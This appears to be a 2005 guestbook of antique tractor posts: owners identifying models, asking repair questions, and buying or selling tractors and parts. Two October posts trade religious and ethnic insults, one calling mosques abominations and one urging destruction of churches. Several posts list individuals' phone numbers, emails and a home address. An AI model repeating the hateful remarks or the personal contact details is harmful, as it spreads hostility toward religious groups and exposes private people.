Dave Bays wrote on Thursday, November 10, 2005 (PST):I have a 1955 Super 55 Oliver diesel tractor with Green wheels and a rear remote. The tractor is in average condition and can be purchased for 3500.00 If interested call cell # (765) 265-3925 and leave message
Dave Bays wrote on Thursday, November 10, 2005 (PST):We just traded for a 1951 VAO in above average condition. Asking $4995.00 for it. Will send pictures to any interested parties. Tractor has recently been painted and has live hydraulics with the eagle hitch and two bottom plow. Must see and drive to appreciate.
George Schwartz wrote on Thursday, November 10, 2005 (PST):I need a manual for a inc 460 dsl with a wagner loader-backhoe. If you know of one please reply
danny thompson wrote on Tuesday, November 08, 2005 (PST):I was given a 1956 Oliver Super 77 diesel. It is a row crop, but it has only one steering tire. All the pictures I see are of Super 77's is two steering wheels. Can anyone let me know if this is odd or what? I am not a farmer, but I like this tractor. It also has 3 point hitch, live pto and a bracket bolted to the front for what what would seem to be for a bucket or other implement. I also need a starter,injection pump and lines ,1 connecting rod and an oil pan. e-mail me with what you have. thanks.
curtis cansler wrote on Tuesday, November 08, 2005 (PST):I JUST GOT A MH TRACTOR. BUT I DONT KNOW WHAT YEAR IT IS OR ANYTHING BESIDES IT'S A 4 CYL GAS ENGINE WITH ROW CROP FRONT END. TAG ON LEFT SIDE OF FRAME SAYS 44GR9670. ANY HELP WOULD BE APPRECIATED.
mark ontariohancock wrote on Tuesday, November 08, 2005 (PST):i bought a 1959 44. they are an excellent tractor and i have never had a problem with it and hope to get many more years out of it.i had a problem with the engine seals always leaking and the reverse gear wearingout evry year
John Borja wrote on Tuesday, November 08, 2005 (PST):I recently purchased a restored Model A with a cultivator. Will Cub implaments fit Model A's? I'm needing a grader or front blade.
Mike Milnor wrote on Saturday, November 05, 2005 (PST):I have a 1948 G that my dad bought in the early 70's. He recently gave it to me and I have been using it quite alot. I would love to find a belly mower for it, but thus far have been unable to find any information about what type will fit it. I would appreciate anyone with information please letting me know, I would love to use this little tractor to help mow our 4 acres of grass!!
noel clifford wrote on Thursday, November 03, 2005 (PST):hi just bought a farmall regular 1927 .in great condition but the fan belt broke i cant seem to source one . im in ireland. can anybody help . thanks
greg black wrote on Wednesday, November 02, 2005 (PST):carrie i found a used block in a junk yard in missouri can't remember name look under tractor salvage in this state
Bran Marian wrote on Wednesday, November 02, 2005 (PST):I am Bran Marian From romania I am selling a gas engine made in germany in 1900 by ,,Deutz" company.The engine was brought by some rellatives in 1905 in village ,,putineiu".He was brought by my grand grand father who was on germany in those years.The engine remainned owers until today.I am looking to sell the gas engine..I even have some pictures thit my grand=grand father and his engine.In case that you want to buy it the transport is made by the buyer . The price is 5000 euro.You can contact me anytime. My number is ;(004)(0247)415132.You can call me everyday betwen 15;00 and 21;00 o'clock The engine is 100% functionable.My asurence is that it has no missing parts,he is 100% complete.It's in good shape.you only have to put oil between the mechanism.If you want to buy it please give me you details about your country and adress and all soo we make the deal,and the date when you send the transport to my country.(i am looking to sell it in maximum two weeks because i dont want the winter to chatch me without selling it) Waiting for your reply. Whit all the respect,Bran Marian From Romania
Phil wrote on Tuesday, November 01, 2005 (PST):A friend of mine has a ford 600 tractor I think 1955. When he turns the key the starter motor turns fast but does not engage with the engine? Any tips would be great
Chris IH wrote on Monday, October 31, 2005 (PST):I own a 1942 Farmall M and i am going to pull with it. I have a 6336 head and i wanted to know if that is a propane head. or what casting number head would have the highest compression? call me at 701 200 4172
Chris IH wrote on Monday, October 31, 2005 (PST):I own a 1942 Farmall M and i am going to pull with it. I have a 6336 head and i wanted to know if that is a propane head. or what casting number head would have the highest compression?
William Kettleborough wrote on Monday, October 31, 2005 (PST):HA HA HA.......That will be the day!Go home, and stop using this ENGLISH website!Brittania rules the waves!Churches are lovely, but mosques, are just abombinations!
ahmed ablunysta wrote on Monday, October 31, 2005 (PST):Destroy tractors, all england needs are mosques.A good job for tractors would be to destroy existing churches, where future mosques will be.Indians will rule the country!
Bill from Quebec wrote on Sunday, October 30, 2005 (PST):To all you cub afficionados, those front mount blades also mount underneath to work as a grader. Ditto for many other Farmall models.
Kris Robinson wrote on Saturday, October 29, 2005 (PDT):Have 43 Vai, looking for information and photos of restored used on a US air force base to mow, What color would this have been, I also see that it has Veterans Administration decals with some kind of Badge on the side panels. I am looking for a picture of one restored or even with the sickle bar mower it originally had on it, now it has a belly mower rigged to the bottom running off of the PTO. Any information anybody knows would be very helpful in me restoring this tractor to original, thanks.
roger wrote on Friday, October 28, 2005 (PDT):how did the B differ from the BN what does the N stand for
HAS wrote on Thursday, October 27, 2005 (PDT):Found a regular B today - all growed up around it. I'd like to make the man a fair offer - Any advice on how much I should offer? It is not running, engine unknown. Only parts missig appear to be oil cap and exhaust pipe & muffler. Tires are up, but real weathered. Don't know if it's stuck or not.
Erik Dekeyser wrote on Thursday, October 27, 2005 (PDT):I would like to buy a IH cub, but i want to get one from the 70s in good shape. Please email me with a picture if posible.
Loren Rausch wrote on Thursday, October 27, 2005 (PDT):I have 2 39 F-20s. One has been housed throughout its life, the second not which I just bought. I have an owners manual for it, very useful!! V-fan belts indicates that they are both 39s. I used the best 20 for pulling wood wagons, making fence and for nursery work as I have an add-on toolbox. The governor real responds well under load and it has a road gear infront on the transmission and really hauls tail!! Faster than my 3020!! My other 20 I just bought and is froze up. I have removed the valve cover and Liquid Wrenched the springs up and under, and the pushrods. Also did the spark plug holes after taking out plugs. Parked my JD 3020 parallel to it and engaged the crank on the 20 and rapped a chain around it and a "come along" to the end of the chain and to the 3020 frame and applied some pressure and holding now for the Marvel Mystery oil& Liquid Wrench to work. This 20 needs a fan shroud, a toolbox under the tank and the motor freed up & tires. Drawbar shows very little wear. On the hood on top by the radiator cap is a bracket that looks like it had a generator attached to it. Also the belt pulley on the crankshaft has 2 slots--one for the v fan belt and the other apparently for the generator that used to be there. This one also has the mag missing but I got one--the right one to go on. If it turns out as good as my good one gosh I'd be happy. Anybody got a fanshroud and a tool box that is relatively decent?? Algoma, WI
Roy L. Vincent wrote on Tuesday, October 25, 2005 (PDT):I am from the Rice country of southwest Louisiana. As a kid I use to ride one of these R's during the Thanksgiving week off from school pulling a 4 bottom 14" plow. By the time I was 12 I was driving the old R and my dad was driving a new 820 model. Long story short I spent many hours on one of these good old work horses. Down in the country where I am from you just don't see these anymore. However , I am seriously considering trying to purchase one of these old tractors and try my hand at restoring one and using it on my farm up in North East Texas around the Mt Pleasant Texas area. If anyone has one of these tractors I am interested in locating and buying one, please contact me at my email address I have provided. Thanks for your time reading this note.
RONALD WESSLING wrote on Tuesday, October 25, 2005 (PDT):LOKING FOR A 'B'CULTI VISION W SINGLE FRONT WHEEL IF POSSIBE TO RESTORE MY GRADFATHER HAD ONE THATS STILL IN THE FAMILY AND I WOULD LOVE TO HAVE A MATCH TO IT HIS WAS A 1940 W MANUAL OPERATED CULTIVATOR ATTACHED TO IT
Jon Amundson wrote on Sunday, October 23, 2005 (PDT):Other than using a timing scope, how does one time the mag to the engine on a John Deere D (1928) with a Wico base mount mag? Please give complete instructions. Thank you!
Josh Keck wrote on Sunday, October 23, 2005 (PDT):looking for air cleaner setup for 1930 regular....also looking for gas starter tank....also gas tank and a carburator in decent condition.....will pay big bucks!$$
Dick Hamilton wrote on Friday, October 21, 2005 (PDT):I have been working on a 1938 F-12. Today I got the brakes repaired and now will continue on the rear end. I do need a seat as the old one is in bad shape. Will try to repair it if I can't find one. Can't wait to get it running since my son and I bought this close to 10 years ago, then my son went to work in Mexico. Maybe some day soon.
Don Stevens wrote on Wednesday, October 19, 2005 (PDT):Just listed a question above about a McCormick Deering Farmall T10 548 4 Did not know if I had to write my e mail wrestlersds at bright.net sorry for the mess up Thanks again if anyone can help with information about this tractor.
myke meiners wrote on Tuesday, October 18, 2005 (PDT):I just bought a case 190 garden tractor in basket it had broken axel I fixed now I need the cluster gears. If anyone knows where I get one I would sure be abliged to have them let me know
Butch Ogden wrote on Monday, October 17, 2005 (PDT):Looking for rims for a G both front and rear. thanks
Mark Hill wrote on Wednesday, October 12, 2005 (PDT):I have a 1938 F-20. I'm looking for a set of cast iron draw bar connectors that connect the draw bar to the backside of the wheel housing. Thanks.
Paul Miller wrote on Wednesday, October 12, 2005 (PDT):I bought a 1949 oliver 77 it is missing some of the side panels but I painted it and it looks pretty nice. It has a 12 volt system installed on it and starts real nice and the engine purrs like a kitten, brand new rear tires, I bought the tractor for $800 and I am just wondering what it is worth, even know I am definently not going to sell it.
kendle davis wrote on Tuesday, October 11, 2005 (PDT):what is your tractor worth, and is it for sale
chris george wrote on Monday, October 10, 2005 (PDT):my wifes uncle has an old 420 john deere that needs the transmission put back together my father-in-law thinks it is around 1960.can anyone help me with diagrams for this tractor.the person who took it apart has since passed on before he could put it back together again.he was replacing a gear in it.
Bill K. wrote on Monday, October 10, 2005 (PDT):Hello; I just bought a 1948 M. I will need a trailer, truck to move it. Will a 1/2 ton PU work? Size of trailer? Any info on where to get a engine oil filter element in MN? Any information to get started on maitanence would help. It runs but burns oil. Thank you! BK
Doug Sylfest wrote on Saturday, October 08, 2005 (PDT):I have many hours in the seat of a 1952 Fordson Major diesel my father bought one new in 1952. I agree, the wheels were orange, I do not recall if they were cast or formed steel, to my knowledge there are not any pictures of our Fordson Major, not that I can get hold of anyway. The Major was close to handling most of the loads our 1950 IH MD did, when the pull got tough, the MD had to take over.There were not many Majors around, there were a lot of AC WD-45s. The WD-45 was a very nice tractor, lots of features. But, was over rated, AC just tried to get too much from it.There were lots of tractor pulls, mostly out in the fields but, some organized at fairs, etc. The Major always out pulled the WD-45 quite a lot. I would like to find a Major about a 1952, also would like to know about what the list price of that tractor was in 1952.
bob davis wrote on Thursday, October 06, 2005 (PDT):what sickle bar mower will hook up to case vao 3pt hitch with little or no alterations?
Judy Greiter wrote on Wednesday, October 05, 2005 (PDT):I have a MF-150 serial #SDM 642004136- Does anyone know what year this tractor is? I want to sell it and can't find a good reference for this # Thanks-
Dan Shippee wrote on Tuesday, October 04, 2005 (PDT):My dad owns a '54 model 60. I beat him on it in a tractor pull a couple days ago.
Jim Whitin wrote on Tuesday, October 04, 2005 (PDT):I would like to purchase a Farmall Cub to cut my fields, level the ground for horse back riding , grade my shell driveway occasionally, and somehow move hay and horse manure around. Is this the right tractor? I really like the looks and size. Is there any where in New England that they might be available at?
Joe wrote on Sunday, October 02, 2005 (PDT):Does anybody know where to get an exhaust manifol that has the lever that diverts the exaust to run distillate, mine is cracked and rozen Thanks
nelson maxwell wrote on Friday, September 30, 2005 (PDT):i'm intrested in this tractor, i grew up in cederville. my grandpa owns 38 john deere's. i own a john deere "B". im looking for another thanks
Richard Mathews wrote on Thursday, September 29, 2005 (PDT):we have several old moline and white and oliver tractors on the farm that we may sell if the price is right. (2655 oliver, G-1000, G-900, G-1050, among other tractors we no longer use in the farming operation.
Kenly Mulenex wrote on Thursday, September 29, 2005 (PDT):I have what I think is a 1929 Regular. It is on steel all the way around it has hydraulic on it with a two row lister. The serial # is T53635 I'm going to restore it this winter. I am looking for a farmall regular manual or a copy of one. does anyone have one I could have a copy of? Would be glad to pay for it.
Stephen wrote on Thursday, September 29, 2005 (PDT):I have a Farmall tractor that I am thinking is a model A. The problem is that I cannot find a serial plate under the seat, where I am told that it should be. Is there anything else that I should look at that can identify it? Also is there a way to make a 3-point hitch on these tractors? I am needing a new coil, cap and rotar and plug wires. Every impliment store around me just tells me to get the numbers and when I say that I dont have them they say, tough luck. I NEED HELP!!! Please email me with any information.
John Weaver wrote on Wednesday, September 28, 2005 (PDT):Jim Thanks I will give it a try. And send for a book. Yes she is a dandy little tractor. John
Jim Broughton wrote on Tuesday, September 27, 2005 (PDT):To; John Weaver John, your Cub is a 1950 model, 6 volt POSITIVE ground electrical system, and no, it won't run without the battery! You can get a service/repair manual from Intertec,P.O. Box12901, Overland Park, Kansas,66282-2901, last one I bought cost about $20.00, but they may have gone up since then. Also, Binder Books in Tigard Oregon has a lot of literature and manuals on them...They are listed on the internet, so should be easy to find. Also, on the generator, ther are two small holes on the right front of your sheet metal, near the radiator...take a small screwdriver and a light hammer or wrench and put the screwdriver in the front hole, feel around for the "cut-out" and give er a whack with the wrench or hammer (not too hard!) with the engine running and if it is the "cut-out or regulator, it should charge, if not, then you gotta check it all out and fix it! Best of luck, the Cub is a dandy little tractor! Jim
Tammy Byrka wrote on Tuesday, September 27, 2005 (PDT):My dad has a Case VAI-5055081 for sale. It has 9x24 rear tires which I understand is rare. All offers are considered, also if anyone knows where I would find out what year this tractor was made that would be very helpful.
John Weaver wrote on Tuesday, September 27, 2005 (PDT):I bought a Farmall Cub serial #120549 (1800) I dont know the year of it. It's a 6volt system which I know nothing about. Where can I find any info about this system or does anyone know? I think the generator is bad because it will not keep the battery charged. If I was to un hook the battery should the tractor still run? If anyone has an answer I would like to hear it. Thanks John Weaver
Tony wrote on Wednesday, September 21, 2005 (PDT):Which of the "100"SERIES TRACTORS REPLACED THE M.
Neil Billger wrote on Tuesday, September 20, 2005 (PDT): Randy, All I know is that on the metal tag which is located on the right side down by the steering rod. it says lo-boy could it just be a cub?
ryan knickebein wrote on Tuesday, September 20, 2005 (PDT):if anybody out there is still looking for cultivater for farmall b all there sold as is please email me for more informatoin
Farmall1939boy wrote on Monday, September 19, 2005 (PDT):I have a 1939 Farmall M with 1,000lbs of wheel weights in each wheel. It is one my Great Grandfather bought back in 1939 brand new, it was its first of its kind sold in california. Bought From N&S tractor.
bob wrote on Monday, September 19, 2005 (PDT):I have a manual for the BN and as I read it the N stands for Model B "Narrow. as it is not as wide at the rear wheels as the regular B is
Jimmie Peterson wrote on Sunday, September 18, 2005 (PDT):I am in the process of restoring a 1960 something Farmall Cub. If anyone knows what color of blue the original front and rear cultivator arms are I would appreciate any information you could provide. Additionally the original ID plate is still on the tractor but it is unreadable. I have the original block, can I take the cast numbers off the block and get an actual year date. Thanks for any information anyone can give. Jimmie Peterson
Willie Sawrenko wrote on Saturday, September 17, 2005 (PDT):I am looking for a belt pulley for a 44 Massey.Has anyone in Saskatchewan got one?
Floyd wrote on Thursday, September 15, 2005 (PDT):I have a 1947 Massey Harris 20 It has A stock motor I Will Take 600.00 For It 740 384 4323
Michael wrote on Thursday, September 15, 2005 (PDT):Betsy, There any decal you need on ebay. Just type in Farmall Cub. I need to buy myself some decals as well.
Steve wrote on Monday, September 12, 2005 (PDT):Where can I get more information on VAC's? Would like to find items like correct paints, tire sizes and as much info as possible, including if there is a Vac or a Case club.
ryan knickelbein wrote on Monday, September 12, 2005 (PDT):if anybody out there is looking for a cultivater for a farmall b everything is there for it just needs some paint and it will look good on any farmall b. please email me about price and more informatoin.
Bria wrote on Monday, September 12, 2005 (PDT):I have a 1950 M that I would like to restore completely. I would like it to be showroom quality. Does anyone know who or where to have a complete job done, mechanical and paint. I am in Colorado, but that really doesn't matter if there is a best answer elsewhere.
Richard Johnson wrote on Saturday, September 10, 2005 (PDT):IH Model B SN FAB 6353. Does anyone know year of mfg?. Clutch when depressed makes a clicking sound ?, it engages smoothly and does not slip when under load any ideas??. Thanks a lot Richard Simi Valley Ca Strathearn Museum.
Bruce Byler wrote on Friday, September 09, 2005 (PDT):I have a 1929 farmall. I left the water in it one winter and it cracked the cyl. Any resources for a complete block for this unit? It looks like the pic on top of this page
Kim wrote on Friday, September 09, 2005 (PDT):Was wondering if a 3 point hitch can be put on a 1948 M Farmall?
Sharon wrote on Thursday, September 08, 2005 (PDT):"M" Collection twice sold. My husband found restored the entire collection of 16 M's from 39 to 54 one at a time. Not long after he had finally found and restored the last one in the collection, he was found to have cancer and died. You could still smell the new paint. Well,after a bit, our daughter and I decided to have an auction and sell the M's and all the rest of Dale's restored tractors, nearly 60 of them. The auction was June 6th, 1998 and it went well. But, I did a dumb thing and bought the M collection back as my daughter was upset about their loss. She and her husband were going to tend to their upkeep, but that didn't work out after a few years. Now, the M collection is on their way to a three day sale in Larned, KS,in October. So,now, will all you Farmall M and other tractor lovers, wish me luck. ;-) I won't buy them back this time. ;-)
N.C.Tillou wrote on Wednesday, September 07, 2005 (PDT):Spent many hours on a Farmall "A", not the hi-crop version, when I was a kid. Actually broke it in half one day when I got the single bottom mounted plow wedged under a rock ledge. Was standing on the plow to force it in the ghround and leaning over the seat to steer.Before i could get back over the seat and my foot on the clutch I broke the large bell casting that held engine and tranny together. There was no frame members on these little tractors,the bell casting was the "backbone" of the tractor.Anybody else ever break one.Dad was so upset about me breaking our small tractor (we also had an "H" and a old International crawler)that he bought me an F-14 and defied me to break it. I tried until we quit farming in 1962 and never could break the thing.
RAY STIKELEATHER SR wrote on Wednesday, September 07, 2005 (PDT):NOTE FOR ALL LOOKING FOR FARM TRACTOR MANUALS. I HAVE HAD GOOD LUCK AT BARNES & NOBLE book store. good luck to all.
Curtis DeVries wrote on Tuesday, September 06, 2005 (PDT):I was just wondering if anyone has a paint scematic for the AC G. I am currently restoring one and would like to know what color each part should be. Thanks
Wayne Carpenter wrote on Monday, September 05, 2005 (PDT):I restored a 1937 F-12 with fenders, round spoke front and rear wheels, and a hydraulic lift under the seat. I even put NEW tires on it. It starts on the first or second crank and the hydraulic lift works too. I grew up using this tractor to feed beef cattle hay every morning. I would take off my belt and tie the steering wheel to the seat in a slight turn and then get in the wagon and toss out the hay as the sun came up. My stepfather paid $35.00 for this tractor. It now looks as new as a 1937 tractor can look.
JEFF HARRIS wrote on Sunday, September 04, 2005 (PDT):I HAVE JUST PURCHASED A 44 WITH A LOADER , I KNOW NOTHING ABOUT THEM; I AM HAVING A TROUBLE WITH THE BRAKES AND WAS WONDERING IF ANY ONE COULD TELL ME WHAT TYPE OF SYSTEM THE BRAKES WORK UNDER AND CURRENTLY THERE IS NO CONTACT WHEN I DEPRESS THE PEDAL AT ALL. ANY COMMENTS WOULD BE HELPFUL. THANX
Deanna wrote on Saturday, September 03, 2005 (PDT):What memories I have of the C. My Grandfather owned 4 out of our 6 tractors. One of them being the C. When my 2 brothers and I were very small it did not run and what fun we had pretending on it. Then one winter Grandpa and Dad got it running again. Grandpa put wood blocks on the clutch and breaks so my brother's feet could reach them. At age 9, he learned how to plow with that C and its 2 bottom plow in the corn field behind our house. We continued to use that tractor well into our high school years (1980's). During winter school breaks it was used to pull the home made trailer to the woods to bring back the wood that had been cut and split for our winter heat. All 3 of us learned to drive on that tractor. When my Grandfather sold the farm, all the the tractors including our beloved C were sold. How I wish I still had that tractor to teach my nephew's how to drive. To this day my best friend and I argue which tractor is better--my C or her Dad's Oliver.
Dave Turford wrote on Wednesday, August 31, 2005 (PDT):Recently came into possesion of a case tractor, but do not know what year it is. Found out the serial should be on the tool box that used to sit on the steering column. The tool box was removed years ago. Was wondering if there were any other numbers that would give me a clue as to its age? Thanks
CHARLES JERNIGAN wrote on Tuesday, August 30, 2005 (PDT):I JUST BOUGHT A 1953 MODEL M FROM A FRIEND AND WAS WONDERING WHAT ITS WORTH. I GREW UP WITH ONE AT HOUSE AUTRY MILL NEAR BENSON NC. IT RUNS GREAT,THE METAL IS IN GOOD TO FAIR CONDITION EXCEPT WHERE THE HOOD WAS CUT OUT FOR A 12 VOLT GM ALTERNATOR, RUST IS LIGHT AND THE PAINT IS POOR (AGED) BUT STILL VERY RED. THE FRONT TIRE IS SHOT, REARS ARE GOOD BUT AGED. MOST EVERTHIG WORKS ON IT AND THE HYDRAULIC PUMP AND CARB HAS JUST BEEN OVERHAULED. ANY HELP WOULD BE APPRECIATED.
ken poole wrote on Monday, August 29, 2005 (PDT):I just purchased 1952 cub I hope I didn't pay too much 1000 seem resonable? It seems to be in decent shape
Roger wrote on Sunday, August 28, 2005 (PDT):I am looking for a grille for a Farmall M, not yet sure of date of manufacture of tractor. Anyone close to Richmond Ind want to sell one? Hopefully I'll have the serial number tonight 8/28/05
toadabode wrote on Friday, August 26, 2005 (PDT):I Have A '46 LA that runs nice with an hydraulic blade on the front, a rear winch off the PTO with trailer that I'd like to sell
dale wrote on Thursday, August 25, 2005 (PDT):I have a 1946 model M farmall tractor bought brand new. It is in good running condition. I would like to find out how much it's worth. It also includes plow and hay bailer.
Wes wrote on Tuesday, August 23, 2005 (PDT):I am looking for a breakdown diagram of a 1936 Case SC 4 speed transmission. I am in the process of putting something back together that I didn't take apart. If someone could e-mail or fax me a breakdown of the transmission I would apprecieate it. Fax # is 1-906-779-2406.
Bob Fisher wrote on Tuesday, August 23, 2005 (PDT):Does anyone know if the Farmall B can be converted to have the narrow rear wheels like the BN? Just bought one and need advise. Thanks
Jorge Barr wrote on Sunday, August 21, 2005 (PDT):I have two JD super 60, one orcherd type and a Hi Crops, Both kerosene engines,They are still working. I would like to know where can I found a distributor cap for a Wico magneto model. Thanks.
Chuck L. wrote on Sunday, August 21, 2005 (PDT):If yours is only moderately worn (Like mine was), I think you can reverse it and prolong its life, because most of the wear is on the 'engage' side. I do have an engine core laying out behind the shop which may have a usable throw-out bearing if you are in a real bind and can't find a better one or reverse and use yours.
darrel briggs wrote on Sunday, August 21, 2005 (PDT):have vai with blue grey paint under case paint color . is a miltary color or a paint primer if this airforce color .where would put dacals
Michael wrote on Friday, August 19, 2005 (PDT):Anyone out there in Oregon or Washington State that has either a sickle bar mower set up for a Farmall Cub, or a blade that fits under the tractor for grading. I'm currently in the market to purchase one, if one becomes available. Thanks, Mike.
T. Rogers wrote on Wednesday, August 17, 2005 (PDT):I have a 1960 D17 (Gas) tractor, even after replacing plug and points will run good for a while but will start running rough again any suggestions? also i'm looking for a front end loader reasonable price and in north arkansas area. Thanks
Fred Merklin wrote on Tuesday, August 16, 2005 (PDT):I have a 1947 DI with a Lull Loader. Seems like a lot were equiped this way. Good running tractor but noisy. Needs an exhaust manifold. Gas engine not multifuel. Anyone know of a reasonably priced source. Thanks
Bronson wrote on Monday, August 15, 2005 (PDT):Is anybody on board familiar with a John Deere L.A. model than can answer My exhaust question?. My son brought me one last week and it has no exhaust stack or muffler on it. I am trying to figure out how the muffler or a straight pipe attaches to the manifold. It dont have threads like the Cubs. It is just a smooth I.D. in the 90 elbow that it would fit in/attach to. I just chipped out (cleaned) the I.D. of the elbow of what was a layer of carbon or possibly an epoxy that held a pipe or muffler. Thanks B.J.
Hank Smith wrote on Friday, August 12, 2005 (PDT):I bought a Super 99GM at an auction in N. Dak. 2 years ago. It has since been restored and is a super tractor. I need some information regarding it. I have only 4 gears, but realize there are probably 8. I also have 36" tires instead of the 24" I read about. I am not on the internet at home for a couple of weeks yet, so please call me at (480)488-1850, I'll call you back so that it does not cost you money. I would also like to know if anybody knows any information about this tractor. It sat in a barn since 1977 until the auction in Aug. 2003. Thanks!
Gary Schwieger wrote on Wednesday, August 10, 2005 (PDT):My question is ? Just purchased a Ford Tractor not sure of the year but would like some in put on it if possible. Serial 8N-50213 or 502I3 Please help me!
Bert Eggers wrote on Wednesday, August 10, 2005 (PDT):Looking also, for a B. I live in Mi. Thanks for any possible leads.... Bert
Betsy wrote on Tuesday, August 09, 2005 (PDT):I am in the process of restoring a International Farmall Cub. Looking for information on decal locations. Any help is appreciated.
miles harshbarger wrote on Monday, August 08, 2005 (PDT):Needing sleeves and pistons for a massey harris 33 with a continental motor. Any information would be greatly appreciated.
Bryan wrote on Monday, August 08, 2005 (PDT): I restored a mid 20's farmall regular,and a good resouce for gaskets, and paint, and decals is www.thefordsonhouse.com They also have parts for f-12,f-20,and early fordson tractors.
Ernie Wolf wrote on Monday, August 08, 2005 (PDT):I have a 1939 F-20 for sale . Thank You
RAY STIKELEATHER wrote on Monday, August 08, 2005 (PDT): i am looking for b farmall,hopefully good shape and not too far to travel from n.c.thanks.
rodney koelmel wrote on Sunday, August 07, 2005 (PDT):would like to know what the price of a 1933 f 20 that is complete and is in good shap and runs
Jim McFarland wrote on Sunday, August 07, 2005 (PDT):I have a model JD 730LP that is a good candidate for restoration. I would be willing to trade it for a model L in good condition.
Bruce Kintigh wrote on Saturday, August 06, 2005 (PDT):I bought a 1952 Case SC at auction today that looks ready to go. After reading through the listing on this page I have seen several people ask about a front loader, but I have not seen any responses. Does anyone know of a loader that would fit this tractor? Thank you.
Joey Anzalone wrote on Wednesday, August 03, 2005 (PDT):I recently purchased what I believe is a Hi-Clear Super AV. There doesn't appear to be a model & serial number plate anywhere. Any igeas to ID the tractor. Also there is no dipstick to check oil. Where do I check oil. Thanks
northside salvage wrote on Tuesday, August 02, 2005 (PDT):if anyone is still looking for a d21 we have 2. you can contract that we restore. if interested contact denny,todd or niel at 618-282-2455 from 8-5 monday thru friday
northside salvage wrote on Tuesday, August 02, 2005 (PDT):the 1969 220 was not a landhandlers 1970 and newer had the landhandler decals!!!!!!!!!!!!!!!!!!!!!!!! We have two 220 both 69 waiting for someone to tell us they want it restored. we have 2 d21 one seriesI and one series II waiting for someone that wants them restored. also very many other a.c. tractors contact us for any restoration parts on 220,210 d21 &190
Robert Grogg wrote on Tuesday, August 02, 2005 (PDT):I,m liking for farmall b! would u like to sale it?
robert wrote on Tuesday, August 02, 2005 (PDT):Do u went to sale it?
Lee Thomas wrote on Tuesday, August 02, 2005 (PDT):I am in the process of restoring a 49D leader I am in need of a right head light and bracket and a wiring diagram if anyone knows where i can get please advise Thanks
russell hardin wrote on Sunday, July 31, 2005 (PDT):NEED A WIDE FRONT END AND TOOL BOX FOR A 44 SPEACIAL 1954
jess wrote on Sunday, July 31, 2005 (PDT):i have just aquired a farmall M for an FFA proj and i need to know the year the serial # is fbk 276332x10 if you have any info email me at leeling45 at hotmail.com
brad thompson wrote on Sunday, July 31, 2005 (PDT):i have a funk 6 cyl conv on my 48 iam in need of starter bendix drive,starter housing,and bearing. need help locating
Michael wrote on Saturday, July 30, 2005 (PDT):Jim Broughton, Thanks for the info on my Cub. I was going to guess 14 horsepower. Mike.
COLIN RADFORD wrote on Friday, July 29, 2005 (PDT):I am looking for a pair of tracks to fit an 8N ford tractor. please e-mail me if you have any,state price and location. thanks
merle mabie wrote on Friday, July 29, 2005 (PDT):iam restoring a f-30 had good luck finding parts at rice eq,inc20 north sheridan road,clarion pennsylvania 16214. phone 814-226-9200
RON wrote on Friday, July 29, 2005 (PDT):RESTORING FARMALL A WANT TO BUY GOOD USED FENDERS- GRILLE- RAIDATOR- HOOD- CARBURETOR- OR AFTERMARKET PARTS NEW AS CHEAP AS POSSIBLE- ANY INFO IS APPRECIATED
chris wrote on Tuesday, July 26, 2005 (PDT):my father in law just passed away and i inhairited the farmall b culti-virson and i nead to know how to check the oil plese help me.
Zachary Barham wrote on Monday, July 25, 2005 (PDT):HI,im Zach Barham . Im 11 years old . My unceles brother is a farmer . He is very close to me . I help farm. He gave me a D15 . MAN/did you see my age . He has me runing farm tractors .Ilove allis challmers . I hope to bea farmer some day . But until then i say , thank you for all your hard work American ,and over see farmers , and i hope to join you some day .
PHILLIP M wrote on Monday, July 25, 2005 (PDT):I AM A OWNER OF A 550 OLIVER THAT IS USED DALIY, I AM LOOKING FOR A HITCH OR DIAGRAM SO I CAN BUILD ONE, I AM NOT SURE OF HOW IT ATTACHES TO THE TRACTOR.
Todd Winter wrote on Sunday, July 24, 2005 (PDT):I have inherited a JD 2010 from my recently deceased father who bought it a few years ago. This tractor does have a loader that worked well until it blew a seal. It was driven and parked behind the barn 2 years ago to wait for help. Well here I am, and I tried to pull it out today with a larger tractor and found that the right rear wheel is locked up whether you hold the clutch down or shift it through the gears. The left rear wheel rotates fine. Is this a stuck or frozen transmission or could it be the brakes may have froze up on the right side? We tried to pull it forward and backward to try to break the wheel loose with no results except a lot of torn up sod. This tractor needs my help and I need yours. Please help if you have any info or ideas. The serial number of the engine tag is 2010RU14398 if that helps.....
J Linneman wrote on Saturday, July 23, 2005 (PDT): I have a 1951 B with rollomatic that I have restored now. I sure miss farm life from long ago. When I was a yougin on a Wisconsin dairy farm Dad had 1950 B. That tractor had to do all the work for years. I spent countless hours driving that sweethart cultivating, cutting hay, plowing,disking and combining with a John Deere 12A with LUC engine. That tcactor sure proved then atage that Nothing Runs like a Deere. When I have a bad day I go home and hug my Deere FIRST.
Jerry Begin Jr. wrote on Saturday, July 23, 2005 (PDT):I have a Farmall BN for sale--10 years ago spent $1600 rebuilding and 8 years ago another 800 (paint ect)runs great--was using for mowing 3 year ago--Belongs to mother in law--she's 91--wants to sell tractor to good home__did i say she was 91??--
John Schmitt wrote on Saturday, July 23, 2005 (PDT):Iwould like to sell or trade my 2010 for 3020 deisel tractor. Just did complete rebuild on trans new exhaust,rear seal and brakes. I've owned it for 15 years. Motor was overhauled 2years ago.
Will Murley wrote on Friday, July 22, 2005 (PDT):I am restoring a 1940 Farmall A SN FAA 6924 and am having trouble removing the right final drive assembly. The brake band on that side is either broken or disconnected. I have removed all the bolts from that side, but cannot get the assembly to slide out.
deborah k rogness wrote on Thursday, July 21, 2005 (PDT):I am doing a book about my greatgrandfather (william edwin mckinnon) and he was one of the few "bellingham bay settlers" and he opened a wagonmaking shop(later had john kastner become a blacksmith) on railroad ave. i am hopeing i can track down one of his wagons for the book and lecture.he was in the history of whatcom county (roth books 1&2) he was the first and the last to make these wagons before the car came into the picture. you can contact me at (360)5279858 or email me at sangelstargazer at msn.com my address if you need it is 3705 canterbury ln. #7 bellingham,wa. i really look forward to your reply. i plan on putting an add if i can not find any off his wagons in the local farming community or collector paper. thank you
Diane wrote on Thursday, July 21, 2005 (PDT):We just purchased an IH Cub Lowboy serial #5443. Does anyone know what year it is? Also what the original color red was? Thanks!
Dave Conley wrote on Wednesday, July 20, 2005 (PDT):FOR SALE; 1946 Farmall Cub, 1 cylinder, sickle, bottom mower, original owner's manual. This tractor was used in the vineyards in the Finger Lakes area of New York. Email for more details.
gil cox wrote on Tuesday, July 19, 2005 (PDT):i have a 671 select o speed and i need a wireing diagram
john wrote on Monday, July 18, 2005 (PDT):need some parts for a 300u. does anyone know of a salvage that might have some.
